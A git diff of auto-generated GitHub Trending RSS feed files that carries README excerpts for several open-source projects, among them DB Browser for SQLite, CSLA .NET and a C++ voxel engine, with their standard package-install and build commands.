<p><img src="https://github.com/99natmar99/Windows-11-Fixer/raw/master/Images/Settings-Dark.png" alt="screenshot"></p>
<h3>Uninstall Microsoft Bloat</h3>
<p><img src="https://github.com/99natmar99/Windows-11-Fixer/raw/master/Images/Uninstall-Light.png" alt="screenshot"></p>
<h3>Install Software</h3>
<p><img src="https://github.com/99natmar99/Windows-11-Fixer/raw/master/Images/Install-Dark.png" alt="screenshot"></p>
<h2>Known Issues</h2>
<h3>Fix Windows Page</h3>
<ul>
<li>Some fixes request the user to restart their computer in order for those fixes to take effect. Sometimes those fixes only require a Windows explorer restart rather than a full computer restart.</li>
<li>The small taskbar fix results in the taskbar clock and system tray icons to be cut off.</li>
<li>Icon spacing varies throughout the taskbar size fixes.</li>
<li>When adding or removing take ownership, the registry prompt may sometimes not appear as the topmost window.</li>
</ul>
<h3>Windows Settings Page</h3>
<ul>
<li>Some setting changes may result in a terminal window appearing with "error code 1" present. This just means that a registry value the program was trying to delete was not found. You can ignore and close this window.</li>
</ul>
<h3>Uninstall MS Bloat Page</h3>
<ul>
<li>Some Edge files may still remain until a computer restart has been performed.</li>
</ul>
<h3>Install Software Page</h3>
<ul>
<li>Some programs which are installed through the Microsoft Store (Netflix, Prime Video, Disney+) require the user to be currently logged into a Microsoft account in the Microsoft store.</li>
<li>After installaing software, sometimes Windows 11 Fixer will remain frozen and is required to be closed and reopened in order to continue using it.</li>
</ul>
+ MarimerLLC/csla
+ 2023-12-13T01:27:36Z
+ tag:github.com,2023-12-13:/MarimerLLC/csla
+
+ <p>A home for your business logic in any .NET application.</p><hr><h1>CSLA .NET</h1>
<p><a href="https://github.com/MarimerLLC/csla/actions/workflows/ci.yaml"><img src="https://github.com/MarimerLLC/csla/actions/workflows/ci.yaml/badge.svg?sanitize=true" alt="Build status"></a></p>
<p><a href="https://github.com/MarimerLLC/csla/issues?q=is%3Aissue+is%3Aopen+label%3Akind%2Fbug"><img src="https://img.shields.io/github/issues/marimerllc/csla/kind%2Fbug" alt="Bugs"></a> <a href="https://github.com/MarimerLLC/csla/issues?q=is%3Aissue+is%3Aopen+label%3Aflag%2Froadmap"><img src="https://img.shields.io/github/issues/marimerllc/csla/flag%2Froadmap" alt="Roadmap"></a></p>
<p><a href="https://www.nuget.org/packages/Csla"><img src="https://img.shields.io/nuget/v/Csla.svg?sanitize=true" alt="NuGet"></a> <a href="https://github.com/emersion/stability-badges#stable"><img src="https://img.shields.io/badge/stability-stable-green.svg?sanitize=true" alt="stability-stable"></a></p>
<p><img src="https://raw.github.com/MarimerLLC/csla/main/Support/Logos/csla%20win8_mid.png" alt=""></p>
<h3>A home for your business logic</h3>
<p>CSLA .NET is a software development framework that helps you build a reusable, maintainable object-oriented business layer for your app. This framework reduces the cost of building and maintaining applications.</p>
<p>More information about CSLA .NET is available from the following sources:</p>
<ul>
<li><a href="http://www.cslanet.com">CSLA .NET home page</a></li>
<li><a href="https://github.com/MarimerLLC/csla/discussions?discussions_q=category%3AAnnouncements">Announcements</a></li>
<li><a href="https://github.com/sponsors/rockfordlhotka">Sponsor CSLA .NET</a></li>
<li><a href="https://cslanet.com/6.0.0/html/md__c___users_korye_source_repos_csla_6_0_0__source_readme.html">Version 6.0.0 API Documentation</a></li>
<li><a href="https://cslanet.com/5.4.2/html/index.html">Version 5.4.2 API Documentation</a></li>
<li>Community
<ul>
<li><a href="https://github.com/MarimerLLC/csla/discussions">CSLA .NET discussions</a></li>
<li><a href="https://discord.gg/9ahKjb7ccf">Discord server</a></li>
<li><a href="https://dotnet.social/@cslanet">Fediverse/Mastodon</a></li>
</ul> </li>
<li><a href="https://github.com/MarimerLLC/csla/raw/main/docs/readme.md">CSLA .NET FAQ</a></li>
<li><a href="https://github.com/MarimerLLC/csla/raw/main/docs/Getting-started.md">Getting started with CSLA .NET</a></li>
<li><a href="https://github.com/MarimerLLC/csla/raw/main/docs/Books-and-videos.md">CSLA .NET training videos and ebooks</a></li>
</ul>
<h2>License</h2>
<p>CSLA .NET is copyright Marimer LLC. Its use is governed by the <a href="https://github.com/MarimerLLC/csla/raw/main/license.md">MIT license</a>.</p>
+
+
+ aarthificial-unity/foundations
+ 2023-12-13T01:27:36Z
+ tag:github.com,2023-12-13:/aarthificial-unity/foundations
+
+ <p>Source Code for Solomon's Link</p><hr><br>
<p align="center"> <img width="180" alt="Foundations logo" src="https://raw.githubusercontent.com/aarthificial-unity/foundations/main/.docs/assets/logo.svg?sanitize=true"> </p>
<p align="center"> <a href="https://store.steampowered.com/app/2570450"><img src="https://img.shields.io/badge/Play%20on-Steam-1A9FFF.svg?style=flat&logo=steam" alt="Play on Steam"></a> <a href="https://aarthificial.itch.io/solomons-link"><img src="https://img.shields.io/badge/Play%20on-itch.io-FF2449.svg?style=flat&logo=itch.io" alt="Play on itch.io"></a> <a href="https://unity3d.com"><img src="https://img.shields.io/badge/Made%20with-Unity-2196F3.svg?style=flat&logo=unity" alt="Unity badge"></a> </p>
<br>
<h1>Source Code for <em>Solomon's Link</em></h1>
<p>This repository contains the source code for the game <a href="https://store.steampowered.com/app/2570450">Solomon's Link</a>.</p>
<p>The game will most likely not be developed any further. Pull requests are not open.</p>
<hr>
<p>All assets are licensed under <a href="https://creativecommons.org/publicdomain/zero/1.0/">CC0 1.0</a>.</p>
\ No newline at end of file
diff --git a/c++/daily/index.xml b/c++/daily/index.xml
index 1d22979c37a..21d361a9b2e 100644
--- a/c++/daily/index.xml
+++ b/c++/daily/index.xml
@@ -1,28 +1,21 @@
GitHub C++ Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:32Z
+ 2023-12-13T01:27:53Z
Daily Trending of C++ in GitHub
- sqlitebrowser/sqlitebrowser
- 2023-12-12T01:45:32Z
- tag:github.com,2023-12-12:/sqlitebrowser/sqlitebrowser
-
- <p>Official home of the DB Browser for SQLite (DB4S) project. Previously known as "SQLite Database Browser" and "Database Browser for SQLite". Website at:</p><hr><h1>DB Browser for SQLite</h1>
<p><a href="https://gitter.im/sqlitebrowser/sqlitebrowser"><img src="https://badges.gitter.im/sqlitebrowser/sqlitebrowser.svg?sanitize=true" alt="Join the chat at https://gitter.im/sqlitebrowser/sqlitebrowser"></a> <a href="https://github.com/sqlitebrowser/sqlitebrowser/wiki"><img src="https://img.shields.io/badge/docs-Wiki-blue.svg?sanitize=true" alt="Wiki"></a> <a href="https://www.patreon.com/bePatron?u=11578749"><img src="https://img.shields.io/badge/donate-Patreon-coral.svg?sanitize=true" alt="Patreon"></a><br> <a href="https://github.com/sqlitebrowser/sqlitebrowser/actions/workflows/cppcmake.yml"><img src="https://github.com/sqlitebrowser/sqlitebrowser/actions/workflows/cppcmake.yml/badge.svg?sanitize=true" alt="C/C++ CI"></a> <a href="https://www.qt.io"><img src="https://img.shields.io/badge/Qt-cmake-green.svg?sanitize=true" alt="Qt"></a><br> <a href="https://github.com/sqlitebrowser/sqlitebrowser/actions/workflows/codeql.yml"><img src="https://github.com/sqlitebrowser/sqlitebrowser/actions/workflows/codeql.yml/badge.svg?sanitize=true" alt="CodeQL"></a> <a href="https://scan.coverity.com/projects/sqlitebrowser-sqlitebrowser"><img src="https://img.shields.io/coverity/scan/11712.svg?sanitize=true" alt="Coverity"></a><br> <a href="https://github.com/sqlitebrowser/sqlitebrowser/releases"><img src="https://img.shields.io/github/downloads/sqlitebrowser/sqlitebrowser/total.svg?sanitize=true" alt="Download"></a> <a href="https://snapcraft.io/sqlitebrowser"><img src="https://snapcraft.io/sqlitebrowser/badge.svg?sanitize=true" alt="snapcraft"></a> <a href="https://snapcraft.io/sqlitebrowser"><img src="https://snapcraft.io/sqlitebrowser/trending.svg?name=0" alt="snapcraft"></a></p>
<p><img src="https://github.com/sqlitebrowser/sqlitebrowser/raw/master/images/sqlitebrowser.png" alt="DB Browser for SQLite Screenshot" title="DB Browser for SQLite Screenshot"></p>
<h2>Table of Contents</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#db-browser-for-sqlite">DB Browser for SQLite</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#table-of-contents">Table of Contents</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#what-it-is">What it is</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#what-it-is-not">What it is not</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#wiki">Wiki</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#continuous-nightly-builds">Continuous, Nightly builds</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#windows">Windows</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#continuous-nightly-builds-1">Continuous, Nightly builds</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#macos">macOS</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#stable-release">Stable release</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#continuous-nightly-builds-2">Continuous, Nightly builds</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#linux">Linux</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#arch-linux">Arch Linux</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#debian">Debian</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#fedora">Fedora</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#opensuse">openSUSE</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#ubuntu-and-derivatives">Ubuntu and Derivatives</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#stable-release-1">Stable release</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#nightly-builds">Nightly builds</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#other-linux">Other Linux</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#freebsd">FreeBSD</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#snap-packages">Snap packages</a>
<ul>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#snap-nightlies">Snap Nightlies</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#snap-stable">Snap Stable</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#compiling">Compiling</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#x-known-as-twitter">X (Known as Twitter)</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#website">Website</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#old-project-page">Old project page</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#releases">Releases</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#history">History</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#contributors">Contributors</a></li>
<li><a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/#license">License</a></li>
</ul> </li>
</ul>
<h2>What it is</h2>
<p><em>DB Browser for SQLite</em> (DB4S) is a high quality, visual, open source tool to create, design, and edit database files compatible with SQLite.</p>
<p>DB4S is for users and developers who want to create, search, and edit databases. DB4S uses a familiar spreadsheet-like interface, so complicated SQL commands do not have to be learned.</p>
<p>Controls and wizards are available for users to:</p>
<ul>
<li>Create and compact database files</li>
<li>Create, define, modify and delete tables</li>
<li>Create, define, and delete indexes</li>
<li>Browse, edit, add, and delete records</li>
<li>Search records</li>
<li>Import and export records as text</li>
<li>Import and export tables from/to CSV files</li>
<li>Import and export databases from/to SQL dump files</li>
<li>Issue SQL queries and inspect the results</li>
<li>Examine a log of all SQL commands issued by the application</li>
<li>Plot simple graphs based on table or query data</li>
</ul>
<h2>What it is not</h2>
<p>Even though DB4S comes with a spreadsheet-like interface, it is not meant to replace your spreadsheet application. We implement a few convenience functions which go beyond a simple database frontend but do not add them when they do not make sense in a database context or are so complex to implement that they will only ever be a poor replacement for your favorite spreadsheet application. We are a small team with limited time after all. Thanks for your understanding :)</p>
<h2>Wiki</h2>
<p>For user and developer documentation, check out our Wiki at: <a href="https://github.com/sqlitebrowser/sqlitebrowser/wiki">https://github.com/sqlitebrowser/sqlitebrowser/wiki</a>.</p>
<h2>Continuous, Nightly builds</h2>
<p>Download continuous builds for AppImage, macOS and Windows here:</p>
<ul>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous">https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous</a></li>
</ul>
<blockquote>
<p>Note: A continuous build is generated when a new commit is added to the <code>master</code> branch.<br></p>
</blockquote>
<p>Download nightly builds for Windows and macOS here:</p>
<ul>
<li><a href="https://nightlies.sqlitebrowser.org/latest">https://nightlies.sqlitebrowser.org/latest</a></li>
</ul>
<h2>Windows</h2>
<p>Download Windows releases here:</p>
<ul>
<li><a href="https://sqlitebrowser.org/dl/#windows">https://sqlitebrowser.org/dl/#windows</a></li>
</ul>
<p>Or use Chocolatey:</p>
<pre><code>choco install sqlitebrowser
</code></pre>
<p>Or use winget:</p>
<pre><code>winget install -e --id DBBrowserForSQLite.DBBrowserForSQLite
</code></pre>
<h4>Continuous, Nightly builds</h4>
<p>Continuous builds are available here:</p>
<ul>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous">https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous</a></li>
</ul>
<p>Nightly builds are available here:</p>
<ul>
<li><a href="https://nightlies.sqlitebrowser.org/latest">https://nightlies.sqlitebrowser.org/latest</a></li>
</ul>
<h2>macOS</h2>
<p>DB Browser for SQLite works well on macOS.</p>
<ul>
<li>macOS 10.15 (Catalina) - 14.0 (Sonoma) are tested and known to work.</li>
</ul>
<h4>Stable release</h4>
<p>Download macOS releases here:</p>
<ul>
<li><a href="https://sqlitebrowser.org/dl/#macos">https://sqlitebrowser.org/dl/#macos</a></li>
</ul>
<p>The latest macOS binary can be installed via <a href="https://caskroom.github.io/" title="Homebrew Cask">Homebrew Cask</a>:</p>
<pre><code>brew install --cask db-browser-for-sqlite
</code></pre>
<h4>Continuous, Nightly builds</h4>
<p>Continuous builds are available here:</p>
<ul>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous">https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous</a></li>
</ul>
<p>Nightly builds are available here:</p>
<ul>
<li><a href="https://nightlies.sqlitebrowser.org/latest">https://nightlies.sqlitebrowser.org/latest</a></li>
</ul>
<p>and also you can be installed via <a href="https://caskroom.github.io/" title="Homebrew Cask">Homebrew Cask</a>:</p>
<pre><code>brew tap homebrew/cask-versions
# for the version without SQLCipher support
brew install --cask db-browser-for-sqlite-nightly
# for the version with SQLCipher support
brew install --cask db-browser-for-sqlcipher-nightly
</code></pre>
<p>It also has its own Homebrew tap the include Cask for older version.<br> For more information, see the following: <a href="https://github.com/sqlitebrowser/homebrew-tap">https://github.com/sqlitebrowser/homebrew-tap</a></p>
<h2>Linux</h2>
<p>DB Browser for SQLite works well on Linux.</p>
<h3>Arch Linux</h3>
<p>Arch Linux provides an <a href="https://archlinux.org/packages/extra/x86_64/sqlitebrowser/">up to date version</a></p>
<p>Install with the following command:</p>
<pre><code>sudo pacman -S sqlitebrowser
</code></pre>
<h3>Debian</h3>
<p>Debian focuses more on stability rather than newest features.<br> Therefore packages will typically contain an older (but well tested) version, compared to the latest release.</p>
<p>Update the cache using:</p>
<pre><code>sudo apt-get update
</code></pre>
<p>Install the package using:</p>
<pre><code>sudo apt-get install sqlitebrowser
</code></pre>
<h3>Fedora</h3>
<p>Install for Fedora (i386 and x86_64) by issuing the following command:</p>
<pre><code>sudo dnf install sqlitebrowser
</code></pre>
<h3>openSUSE</h3>
<pre><code>sudo zypper install sqlitebrowser
</code></pre>
<h3>Ubuntu and Derivatives</h3>
<h4>Stable release</h4>
<p>For Ubuntu and derivatives, <a href="https://github.com/deepsidhu1313">@deepsidhu1313</a> provides a PPA with the latest release here:</p>
<ul>
<li><a href="https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser">https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser</a></li>
</ul>
<p>To add this PPA just type in this command in terminal:</p>
<pre><code>sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser
</code></pre>
<p>Then update the cache using:</p>
<pre><code>sudo apt-get update
</code></pre>
<p>Install the package using:</p>
<pre><code>sudo apt-get install sqlitebrowser
</code></pre>
<p>Packages for Older Ubuntu releases are supported while launchpad keeps building those or if Older Ubuntu release has dependency packages that are required to build the latest version of Sqlitebrowser. We don't remove builds from our ppa repos, so users can still install older version of sqlitebrowser if they like. Alternatively Linux users can also switch to Snap packages if Snap packages are supported by the distro they are using.</p>
<h4>Nightly builds</h4>
<p>Nightly builds are available here:</p>
<ul>
<li><a href="https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser-testing">https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser-testing</a></li>
</ul>
<p>To add this PPA, type these commands into the terminal:</p>
<pre><code>sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser-testing
</code></pre>
<p>Then update the cache using:</p>
<pre><code>sudo apt-get update
</code></pre>
<p>Install the package using:</p>
<pre><code>sudo apt-get install sqlitebrowser
</code></pre>
<h3>Other Linux</h3>
<p>On others, compile DB4S using the instructions in <a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/BUILDING.md">BUILDING.md</a>.</p>
<h2>FreeBSD</h2>
<p>DB Browser for SQLite works well on FreeBSD, and there is a port for it (thanks to <a href="https://github.com/lbartoletti">lbartoletti</a> <span>😄</span>).<br>DB4S can be installed using either this command:</p>
<pre><code>make -C /usr/ports/databases/sqlitebrowser install
</code></pre>
<p>or this command:</p>
<pre><code>pkg install sqlitebrowser
</code></pre>
<h2>Snap packages</h2>
<p><a href="https://snapcraft.io/sqlitebrowser"><img src="https://snapcraft.io/static/images/badges/en/snap-store-black.svg?sanitize=true" alt="Get it from the Snap Store"></a></p>
<h4>Snap Nightlies</h4>
<pre><code> snap install sqlitebrowser --devmode
</code></pre>
<h4>Snap Stable</h4>
<pre><code> snap install sqlitebrowser
</code></pre>
<h2>Compiling</h2>
<p>Instructions for compiling on Windows, macOS, Linux, and FreeBSD are in <a href="https://raw.githubusercontent.com/sqlitebrowser/sqlitebrowser/master/BUILDING.md">BUILDING</a>.</p>
<h2>X (Known as Twitter)</h2>
<p>Follow us on X: <a href="https://x.com/sqlitebrowser">https://x.com/sqlitebrowser</a></p>
<h2>Website</h2>
<ul>
<li><a href="https://sqlitebrowser.org">https://sqlitebrowser.org</a></li>
</ul>
<h2>Old project page</h2>
<ul>
<li><a href="https://sourceforge.net/projects/sqlitebrowser">https://sourceforge.net/projects/sqlitebrowser</a></li>
</ul>
<h2>Releases</h2>
<ul>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.12.2">Version 3.12.2 released</a> - 2021-05-18</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.12.1">Version 3.12.1 released</a> - 2020-11-09</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.12.0">Version 3.12.0 released</a> - 2020-06-16</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.11.2">Version 3.11.2 released</a> - 2019-04-03</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.11.1">Version 3.11.1 released</a> - 2019-02-18</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.11.0">Version 3.11.0 released</a> - 2019-02-07</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.10.1">Version 3.10.1 released</a> - 2017-09-20</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.10.0">Version 3.10.0 released</a> - 2017-08-20</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.9.1">Version 3.9.1 released</a> - 2016-10-03</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.9.0">Version 3.9.0 released</a> - 2016-08-24</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.8.0">Version 3.8.0 released</a> - 2015-12-25</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.7.0">Version 3.7.0 released</a> - 2015-06-14</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.6.0">Version 3.6.0 released</a> - 2015-04-27</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.5.1">Version 3.5.1 released</a> - 2015-02-08</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.5.0">Version 3.5.0 released</a> - 2015-01-31</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.4.0">Version 3.4.0 released</a> - 2014-10-29</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.3.1">Version 3.3.1 released</a> - 2014-08-31 - Project renamed from "SQLite Database Browser"</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.3.0">Version 3.3.0 released</a> - 2014-08-24</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.2.0">Version 3.2.0 released</a> - 2014-07-06</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.1.0">Version 3.1.0 released</a> - 2014-05-17</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.3">Version 3.0.3 released</a> - 2014-04-28</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.2">Version 3.0.2 released</a> - 2014-02-12</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.1">Version 3.0.1 released</a> - 2013-12-02</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0">Version 3.0 released</a> - 2013-09-15</li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/rc1">Version 3.0rc1 released</a> - 2013-09-09 - Project now on GitHub</li>
<li>Version 2.0b1 released - 2009-12-10 - Based on Qt4.6</li>
<li>Version 1.2 released - 2005-04-05</li>
<li>Version 1.1 released - 2004-07-20</li>
<li>Version 1.01 released - 2003-10-02</li>
<li>Version 1.0 released to public domain - 2003-08-19</li>
</ul>
<h2>History</h2>
<p>This program was developed originally by Mauricio Piacentini (<a href="https://github.com/piacentini">@piacentini</a>) from Tabuleiro Producoes as the Arca Database Browser. The original version was used as a free companion tool to the Arca Database Xtra, a commercial product that embeds SQLite databases with some additional extensions to handle compressed and binary data.</p>
<p>The original code was trimmed and adjusted to be compatible with standard SQLite 2.x databases. The resulting program was renamed SQLite Database Browser, and released into the Public Domain by Mauricio. Icons were contributed by <a href="http://www.raquelravanini.com">Raquel Ravanini</a>, also from Tabuleiro. Jens Miltner (<a href="https://github.com/jmiltner">@jmiltner</a>) contributed the code to support SQLite 3.x databases for the 1.2 release.</p>
<p>Pete Morgan (<a href="https://github.com/daffodil">@daffodil</a>) created an initial project on GitHub with the code in 2012, where several contributors fixed and improved pieces over the years. René Peinthor (<a href="https://github.com/rp-">@rp-</a>) and Martin Kleusberg (<a href="https://github.com/MKleusberg">@MKleusberg</a>) then became involved, and have been the main driving force from that point. Justin Clift (<a href="https://github.com/justinclift">@justinclift</a>) helps out with testing on OSX, and started the new github.com/sqlitebrowser organisation on GitHub.</p>
<p><a href="https://johnhaller.com">John T. Haller</a>, of <a href="https://portableapps.com">PortableApps.com</a> fame, created the new logo. He based it on the Tango icon set (public domain).</p>
<p>In August 2014, the project was renamed to "Database Browser for SQLite" at the request of <a href="https://www.hwaci.com/drh">Richard Hipp</a> (creator of <a href="https://sqlite.org">SQLite</a>), as the previous name was creating unintended support issues.</p>
<p>In September 2014, the project was renamed to "DB Browser for SQLite", to avoid confusion with an existing application called "Database Browser".</p>
<h2>Contributors</h2>
<p>View the list by going to the <a href="https://github.com/sqlitebrowser/sqlitebrowser/graphs/contributors"><strong>Contributors</strong> tab</a>.</p>
<h2>License</h2>
<p>DB Browser for SQLite is bi-licensed under the Mozilla Public License Version 2, as well as the GNU General Public License Version 3 or later.</p>
<p>Modification or redistribution is permitted under the conditions of these licenses.</p>
<p>Check <code>LICENSE-EXTENSIONS</code> for other rights regarding included SQLite extensions in macOS builds. Check <code>LICENSE-PLUGINS</code> for other rights regarding included third-party resources.</p>
+ MihailRis/VoxelEngine-Cpp
+ 2023-12-13T01:27:53Z
+ tag:github.com,2023-12-13:/MihailRis/VoxelEngine-Cpp
+
+ <p>Minecraft-like game engine in C++ with OpenGL</p><hr><h1>Run in windows with compiled executable file:</h1>
<p><a href="https://drive.google.com/file/d/1hkqCFP6MG9t6V6hjfL4UXdIW9VRsRaAt/view?usp=sharing">EXE for Windows</a></p>
<h1>Controls:</h1>
<ul>
<li><kbd><strong>Esc</strong></kbd> - pause</li>
<li><kbd><strong>Tab</strong></kbd> - open inventory</li>
<li><kbd><strong>W</strong></kbd> <kbd><strong>A</strong></kbd> <kbd><strong>S</strong></kbd> <kbd><strong>D</strong></kbd> - movement</li>
<li><kbd><strong>Space</strong></kbd> - jump</li>
<li><kbd><strong>LMB</strong></kbd> - remove block</li>
<li><kbd><strong>RMB</strong></kbd> - place block</li>
<li><kbd><strong>F</strong></kbd> - toggle flight mode</li>
<li><kbd><strong>N</strong></kbd> - noclip mode</li>
<li><kbd><strong>F1</strong></kbd> - toggle interface</li>
<li><kbd><strong>F2</strong></kbd> - save screenshot</li>
<li><kbd><strong>F3</strong></kbd> - debug mode</li>
<li><kbd><strong>F5</strong></kbd> - reload chunks</li>
</ul>
<h4>Build with CMake</h4>
<pre><code class="language-sh">git clone --recursive https://github.com/MihailRis/VoxelEngine-Cpp.git
cd VoxelEngine-Cpp
mkdir build
cd build
cmake ..
cmake --build .
</code></pre>
<h2>Install libs:</h2>
<h4>Debian-based distro:</h4>
<p><code>$ sudo apt install libglfw3-dev libglfw3 libglew-dev libglm-dev libpng-dev libopenal-dev</code></p>
<h4>RHEL-based distro:</h4>
<p><code>$ sudo dnf install glfw-devel glfw glew-devel glm-devel libpng-devel openal-devel</code></p>
<h4>Arch-based distro:</h4>
<p>If you use X11 <code>$ sudo pacman -S glfw-x11 glew glm libpng openal</code></p>
<p>If you use Wayland <code>$ sudo pacman -S glfw-wayland glew glm libpng openal</code></p>
<h4>macOS:</h4>
<p><code>$ brew install glfw3 glew glm libpng</code></p>
<p>Download, compile and install OpenAL</p>
- Greedysky/TTKMusicPlayer
- 2023-12-12T01:45:32Z
- tag:github.com,2023-12-12:/Greedysky/TTKMusicPlayer
-
- <p>TTKMusicPlayer imitates Kugou UI, the music player uses of qmmp core library based on Qt for windows and linux.(支持网易云音乐、酷我音乐、酷狗音乐)</p><hr><h1>TTKMusicPlayer</h1>
<p><a href="https://raw.githubusercontent.com/Greedysky/TTKMusicPlayer/master/README_cn.md">简体中文 Chinese</a> | <a href="https://raw.githubusercontent.com/Greedysky/TTKMusicPlayer/master/README_tc.md">繁体中文 Chinese</a></p>
<p><img src="https://img.shields.io/badge/Greedysky-TTKMusicPlayer-green.svg?style=flat-square" alt="TTKMusicPlayer"> <img src="https://img.shields.io/badge/Version-3.4.0.0-blue.svg?style=flat-square" alt="Version"> <img src="https://img.shields.io/badge/License-GPL%20V3-yellowgreen.svg?style=flat-square" alt="License"></p>
<p><img src="https://github.com/Greedysky/TTKMusicPlayer/raw/master/TTKResource/logo_banner.png?raw=true" alt="LOGO"></p>
<h3><strong>|<a href="https://github.com/Greedysky/TTKMusicPlayer#usage">About</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#license">License</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#download">Download</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#features">Features</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#screenshots">Screenshots</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#copyright">Copyright</a>|<a href="https://github.com/Greedysky/TTKMusicPlayer#how-to-contribute">Contribute</a>|</strong></h3>
<h2>Usage</h2>
<p><strong>TTKMusicPlayer imitates Kugou music, uses of qmmp core library, based on Qt for windows and linux.</strong></p>
<p><strong>Compiler tutorial I have written in the wiki.(See here <u><a href="https://github.com/Greedysky/TTKMusicPlayer/wiki">https://github.com/Greedysky/TTKMusicPlayer/wiki</a></u> )</strong></p>
<h3>Attention: This software is only for learning and communication, the songs' and playlists' copyright belongs to each music platform.</h3>
<h2>CI Status</h2>
<ul>
<li>Qt stable version is tested on Qt4.x for windows-mingw 32bit</li>
<li>Qt stable version is tested on Qt4.x for ubuntu-linux-gcc 64bit</li>
